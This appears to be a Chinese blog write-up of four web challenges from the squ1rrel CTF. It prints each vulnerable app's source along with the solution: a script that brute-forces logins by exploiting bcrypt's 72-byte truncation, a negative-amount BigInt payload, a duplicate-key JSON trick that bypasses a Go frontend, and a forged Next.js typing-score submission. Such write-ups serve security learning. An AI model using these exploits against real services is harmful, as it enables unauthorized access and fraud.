本文最后更新于 17 天前,其中的信息可能已经有所发展或是发生改变。
Web
emojicrypt
from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os
from dotenv import load_dotenv
load_dotenv()
app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['🌀', '🌁', '🌂', '🌐', '🌱', '🍀', '🍁', '🍂', '🍄', '🍅', '🎁', '🎒', '🎓', '🎵', '😀', '😁', '😂', '😕', '😶', '😩', '😗']
NUMBERS = '0123456789'
database = None
def get_db():
global database
if database is None:
database = sqlite3.connect(DATABASE)
init_db()
return database
def generate_salt():
return 'aa'.join(random.choices(EMOJIS, k=12))
def init_db():
with app.app_context():
db = get_db()
cursor = db.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT UNIQUE NOT NULL,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
salt TEXT NOT NULL
)''')
db.commit()
@app.route('/register', methods=['POST'])
def register():
email = request.form.get('email')
username = request.form.get('username')
if not email or not username:
return "Missing email or username", 400
salt = generate_salt()
random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')
# TODO: email the password to the user. oopsies!
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (email, username, password_hash, salt) VALUES (?, ?, ?, ?)", (email, username, password_hash, salt))
db.commit()
except sqlite3.IntegrityError as e:
print(e)
return "Email or username already exists", 400
return redirect(url_for('index', registered='true'))
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return "Missing username or password", 400
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT salt, password_hash FROM users WHERE username = ?", (username,))
data = cursor.fetchone()
if data is None:
return redirect(url_for('index', incorrect='true'))
salt, hash = data
if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
return os.environ.get("FLAG")
else:
return redirect(url_for('index', incorrect='true'))
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
if __name__ == '__main__':
app.run(port=8000)
关键代码在这
if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
return os.environ.get("FLAG")
密码验证过了就可以得到flag了,然后他这边验证还拼接的了salt,然后这边利用bcrypt
bcrypt 的72字节限制 • 官方定义:bcrypt 仅会处理输入字符串的 前72字节,超出部分会被静默忽略
例如:若输入为 "A" * 100,实际哈希的是 "A" * 72。
原因:底层基于Blowfish算法,其密钥调度(Key Schedule)阶段的最大输入长度为72字节。
所以我们计算他自己生成的有多少字节
def generate_salt():
return 'aa'.join(random.choices(EMOJIS, k=12))
12个表情之间用aa进行的拼接,一个表情占4个字节,这些加起来就占有了48+22=70个字节了
也就是说,只爆破最后俩位密码就可以了
import requests
url = "http://52.188.82.43:8060/login"
username = "sunsun"
flag = "squ1rrel{"
passwords = [f"{i}{j}" for i in '0123456789' for j in '0123456789']
# 爆破攻击
for pwd in passwords:
try:
response = requests.post(
url,
data={"username": username, "password": pwd},
timeout=5
)
if flag in response.text:
print(f"[+] 成功!密码前2位: {pwd}")
print(f"[+] FLAG: {response.text.strip()}")
break
else:
print(f"[-] 尝试密码: {pwd} 失败", end="\r")
except Exception as e:
print(f"\n[!] 请求异常: {e}")
continue
-----------------------------------------------
[+] 成功!密码前2位: 60
[+] FLAG: squ1rrel{turns_out_the_emojis_werent_that_useful_after_all}
acorn clicker
const express = require("express");
const { MongoClient } = require("mongodb");
const bcrypt = require("bcryptjs");
const jwt = require("jsonwebtoken");
const BSON = require("bson");
const app = express();
app.use(express.json());
const url = process.env.ME_CONFIG_MONGODB_URL || "mongodb://localhost:27017";
const client = new MongoClient(url, {
useBigInt64: true,
});
let db;
const JWT_SECRET = process.env.SECRET_KEY || "this_is_a_secret_key";
const JWT_EXPIRATION = "1h"; // Token expiration time
const FLAG = process.env.FLAG || "ctf{this_is_a_fake_flag}";
SQUIRREL_PRICES = {
squirrel: 50,
golden_squirrel: 100,
flag_squirrel: 999999999999999999,
};
async function start() {
await client.connect();
db = client.db("ctf_challenge");
console.log("Database initialized");
}
app.post("/api/register", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send("Missing username or password");
}
const existing = await db.collection("accounts").findOne({ username });
if (existing) {
return res.status(400).send("Username already exists");
}
const hashedPassword = await bcrypt.hash(password, 10);
await db
.collection("accounts")
.insertOne({ username, password: hashedPassword, balance: BigInt(0) });
const token = jwt.sign({ username }, JWT_SECRET, {
expiresIn: JWT_EXPIRATION,
});
res.json({ token });
});
app.post("/api/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send("Missing username or password");
}
if (username.length > 20) {
return res.status(400).send("Username too long");
}
if (username.length < 3) {
return res.status(400).send("Username too short");
}
const account = await db.collection("accounts").findOne({ username });
if (!account) {
return res.status(400).send("Invalid username or password");
}
const isPasswordValid = await bcrypt.compare(password, account.password);
if (!isPasswordValid) {
return res.status(400).send("Invalid username or password");
}
const token = jwt.sign({ username }, JWT_SECRET, {
expiresIn: JWT_EXPIRATION,
});
res.json({ token });
});
app.post("/api/click", authenticate, async (req, res) => {
// increase user balance
const { username } = req.user;
const { amount } = req.body;
if (typeof amount !== "number") {
return res.status(400).send("Invalid amount");
}
if (amount > 10) {
return res.status(400).send("Invalid amount");
}
let bigIntAmount;
try {
bigIntAmount = BigInt(amount);
} catch (err) {
return res.status(400).send("Invalid amount");
}
await db
.collection("accounts")
.updateOne({ username }, { $inc: { balance: bigIntAmount } });
res.json({ earned: amount });
});
app.get("/api/balance", authenticate, async (req, res) => {
// get user balance
const { username } = req.user;
const account = await db.collection("accounts").findOne({ username });
if (!account) {
return res.status(400).send("Invalid username");
}
res.json({ balance: account.balance.toString() });
});
app.post("/api/buy-squirrel", authenticate, async (req, res) => {
const { username } = req.user;
const { type } = req.body;
if (!SQUIRREL_PRICES[type]) {
return res.status(400).send("Invalid squirrel type");
}
const account = await db.collection("accounts").findOne({ username });
if (!account) {
return res.status(400).send("Invalid username");
}
if (account.balance < SQUIRREL_PRICES[type]) {
return res.status(400).send({ message: "Not enough acorns" });
}
await db
.collection("accounts")
.updateOne({ username }, { $inc: { balance: -SQUIRREL_PRICES[type] } });
if (type === "flag_squirrel") {
return res.json({ message: FLAG });
}
res.json({ message: "Squirrel bought" });
});
// Middleware to verify JWT token
function authenticate(req, res, next) {
const token = req.headers["authorization"]?.replace("Bearer ", "");
if (!token) {
return res.status(401).send("Authorization token required");
}
try {
const decoded = jwt.verify(token, JWT_SECRET);
req.user = decoded;
next();
} catch (err) {
return res.status(401).send("Invalid or expired token");
}
}
app.get("/", (req, res) => {
res.sendFile(__dirname + "/static/index.html");
});
app.get("/market", (req, res) => {
res.sendFile(__dirname + "/static/market.html");
});
app.get("/register", (req, res) => {
res.sendFile(__dirname + "/static/register.html");
});
start().then(() =>
app.listen(8080, () => console.log("Server running on http://localhost:8080"))
);
先去拿到token
POST /api/login HTTP/1.1
Host: 52.188.82.43:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://52.188.82.43:8090/
Content-Type: application/json
Content-Length: 43
Origin: http://52.188.82.43:8090
Connection: close
Priority: u=0
{"username":"1234567","password":"1234567"}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 168
ETag: W/"a8-7pnVnXDfi7HQc0xqZ1ztaYQBcpc"
Date: Mon, 07 Apr 2025 12:10:33 GMT
Connection: close
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMzQ1NjciLCJpYXQiOjE3NDQwMjc4MzMsImV4cCI6MTc0NDAzMTQzM30.U_8J1poIaoPAbeWe_SOfjJxyJt1MJkaZf-_v9QO2nVs"}
app.use(express.json()); 的主要功能是将 Express 应用配置为解析 JSON 格式的请求体。当客户端向服务器发送一个包含 JSON 数据的请求(如 POST 或 PUT 请求)时,这个中间件会把请求体中的 JSON 数据解析为 JavaScript 对象,并将其挂载到 req.body 属性上,这样你就可以在路由处理函数中方便地访问这些数据
负数溢出
{"amount":-999999999999999999}
go getter
from flask import Flask, request, jsonify
import random
import os
app = Flask(__name__)
GO_HAMSTER_IMAGES = [
{
"name": "boring gopher",
"src": "https://camo.githubusercontent.com/a72f086b878c2e74b90d5dbd3360e7a4aa132a219a662f4d83b7c243298fea4d/68747470733a2f2f7261772e6769746875622e636f6d2f676f6c616e672d73616d706c65732f676f706865722d766563746f722f6d61737465722f676f706865722e706e67"
},
{
"name": "gopher plush",
"src": "https://go.dev/blog/gopher/plush.jpg"
},
{
"name": "fairy gopher",
"src": "https://miro.medium.com/v2/resize:fit:1003/1*lzAGEWMWtgn3NnRECl8gmw.png"
},
{
"name": "scientist gopher",
"src": "https://miro.medium.com/v2/resize:fit:1400/1*Xxckk9KBW73GWgxhtJN5nA.png"
},
{
"name": "three gopher",
"src": "https://go.dev/blog/gopher/header.jpg"
},
{
"name": "hyperrealistic gopher",
"src": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSPNG7wGmWuHcSi7Wkzmht8TSdeXAHOl5edBw&s"
},
{
"name": "flyer gopher",
"src": "https://upload.wikimedia.org/wikipedia/commons/d/df/Go_gopher_app_engine_color.jpg"
}
]
@app.route('/execute', methods=['POST'])
def execute():
# Ensure request has JSON
if not request.is_json:
return jsonify({"error": "Invalid JSON"}), 400
data = request.get_json()
# Check if action key exists
if 'action' not in data:
return jsonify({"error": "Missing 'action' key"}), 400
# Process action
if data['action'] == "getgopher":
# choose random gopher
gopher = random.choice(GO_HAMSTER_IMAGES)
return jsonify(gopher)
elif data['action'] == "getflag":
return jsonify({"flag": os.getenv("FLAG")})
else:
return jsonify({"error": "Invalid action"}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8081, debug=True)
package main
import (
"bytes"
"encoding/json"
"io"
"log"
"net/http"
)
// Struct to parse incoming JSON
type RequestData struct {
Action string `json:"action"`
}
// Serve the HTML page
func homeHandler(w http.ResponseWriter, r *http.Request) {
html := `<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>What GOpher are you?</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<script>
function sendRequest() {
const selectedOption = document.querySelector('input[name="action"]:checked');
if (!selectedOption) {
alert("Please select an action!");
return;
}
fetch("/execute", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: selectedOption.value })
})
.then(response => response.text().then(text => ({ text, response })))
.then(({ text, response }) => {
var gopherContainer = document.getElementById("gopher-container");
var errorContainer = document.getElementById("error-container");
gopherContainer.innerHTML = "";
errorContainer.innerHTML = "";
try {
var data = JSON.parse(text);
if (data.flag) {
alert(data.flag);
} else if (data.name && data.src) {
var nameHeader = document.createElement("h3");
nameHeader.textContent = data.name;
var gopherImage = document.createElement("img");
gopherImage.src = data.src;
gopherImage.className = "img-fluid rounded";
gopherContainer.appendChild(nameHeader);
gopherContainer.appendChild(gopherImage);
}
} catch (error) {
errorContainer.textContent = "Error: " + text;
errorContainer.className = "text-danger mt-3";
}
})
.catch(function(error) {
console.error("Error:", error);
});
}
</script>
</head>
<body class="container py-5 text-center">
<h1 class="mb-4">Choose an Action</h1>
<div class="d-flex flex-column align-items-center mb-3">
<div class="form-check">
<input class="form-check-input" type="radio" name="action" value="getgopher" id="getgopher">
<label class="form-check-label" for="getgopher">Get GOpher</label>
</div>
<div class="form-check">
<input class="form-check-input" type="radio" name="action" value="getflag" id="getflag">
<label class="form-check-label" for="getflag">I don't care about gophers, I want the flag >:)</label>
</div>
</div>
<button class="btn btn-primary" onclick="sendRequest()">Submit</button>
<div id="error-container"></div>
<div id="gopher-container" class="mt-4"></div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>`
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(html))
}
// Handler for executing actions
func executeHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
return
}
// Read JSON body
body, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Failed to read request body", http.StatusBadRequest)
return
}
// Parse JSON
var requestData RequestData
if err := json.Unmarshal(body, &requestData); err != nil {
http.Error(w, "Invalid JSON", http.StatusBadRequest)
return
}
// Process action
switch requestData.Action {
case "getgopher":
resp, err := http.Post("http://python-service:8081/execute", "application/json", bytes.NewBuffer(body))
if err != nil {
log.Printf("Failed to reach Python API: %v", err)
http.Error(w, "Failed to reach Python API", http.StatusInternalServerError)
return
}
defer resp.Body.Close()
// Forward response from Python API back to the client
responseBody, _ := io.ReadAll(resp.Body)
w.WriteHeader(resp.StatusCode)
w.Write(responseBody)
case "getflag":
w.Write([]byte("Access denied: You are not an admin."))
default:
http.Error(w, "Invalid action", http.StatusBadRequest)
}
}
func main() {
http.HandleFunc("/", homeHandler)
http.HandleFunc("/execute", executeHandler)
log.Println("Server running on http://localhost:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}
关键
@app.route('/execute', methods=['POST'])
def execute():
# Ensure request has JSON
if not request.is_json:
return jsonify({"error": "Invalid JSON"}), 400
data = request.get_json()
# Check if action key exists
if 'action' not in data:
return jsonify({"error": "Missing 'action' key"}), 400
# Process action
if data['action'] == "getgopher":
# choose random gopher
gopher = random.choice(GO_HAMSTER_IMAGES)
return jsonify(gopher)
elif data['action'] == "getflag":
return jsonify({"flag": os.getenv("FLAG")})
else:
return jsonify({"error": "Invalid action"}), 400
有个结构体,解析json
// Struct to parse incoming JSON
type RequestData struct {
Action string `json:"action"`
}
好哥哥们说是考的这个点
go解析json不区分大小写,python的dict区分大小写
前端是go,后端是python的
前端解析要是action匹配到getgopher才可以,但是不能匹配到getflag,后端匹配到getflag才可以得到flag
{"action":"getflag","Action":"getgopher"}
这样绕过,因为go不区分大小写,所以后面的action会覆盖前面的,所以能达到后端python解析第一个action
反着不行也是这个原因吧
funkytype
很硬核的题目,打字机,规定时间内打完就给flag,这边附上bao师傅给的脚本吧
import requests
import json
headers = {'Next-Action': '000212f913f84a9e1f0c301a65968550d57a97626c'}
data = []
response = requests.post('http://funkytype.squ1rrel.dev', json=data, headers=headers)
chal = json.loads(response.text.split('1:')[1].strip())
display_text = chal['displayText']
challenge_id = chal['id']
print("Display Text: ", display_text)
# 获取用户输入
typed_text = input("TypedText: ").strip()
# 验证用户输入是否与显示文本完全一致,确保 100% 准确性
if typed_text != display_text:
print("Error: Typed text does not match display text.")
accuracy = 0 # 输入不匹配时准确率为 0
else:
accuracy = 100 # 输入匹配时准确率为 100
# 更新Next-Action
headers['Next-Action'] = '409727ad706c059b481852c0227079fc36d914e18b'
# 计算WPM和时间
desired_wpm = 500 # 目标WPM
# 计算总字符数(包括空格)
total_chars = len(typed_text)
# 计算所需时间以满足500 WPM
# 假设每个单词的平均长度为 5 个字符,按此计算
time_ms = (total_chars / 5) / desired_wpm * 60000
# 确保时间不为零且合理(至少1毫秒)
time_ms = max(int(time_ms), 1)
# 构造提交数据
data = [{
"challengeId": challenge_id,
"typedText": typed_text,
"wpm": desired_wpm, # 直接设置为500或更高
"accuracy": accuracy,
"timeMs": time_ms
}]
# 提交结果
response = requests.post('http://funkytype.squ1rrel.dev', json=data, headers=headers)
print("Server Response:", response.text)
确实是运气问题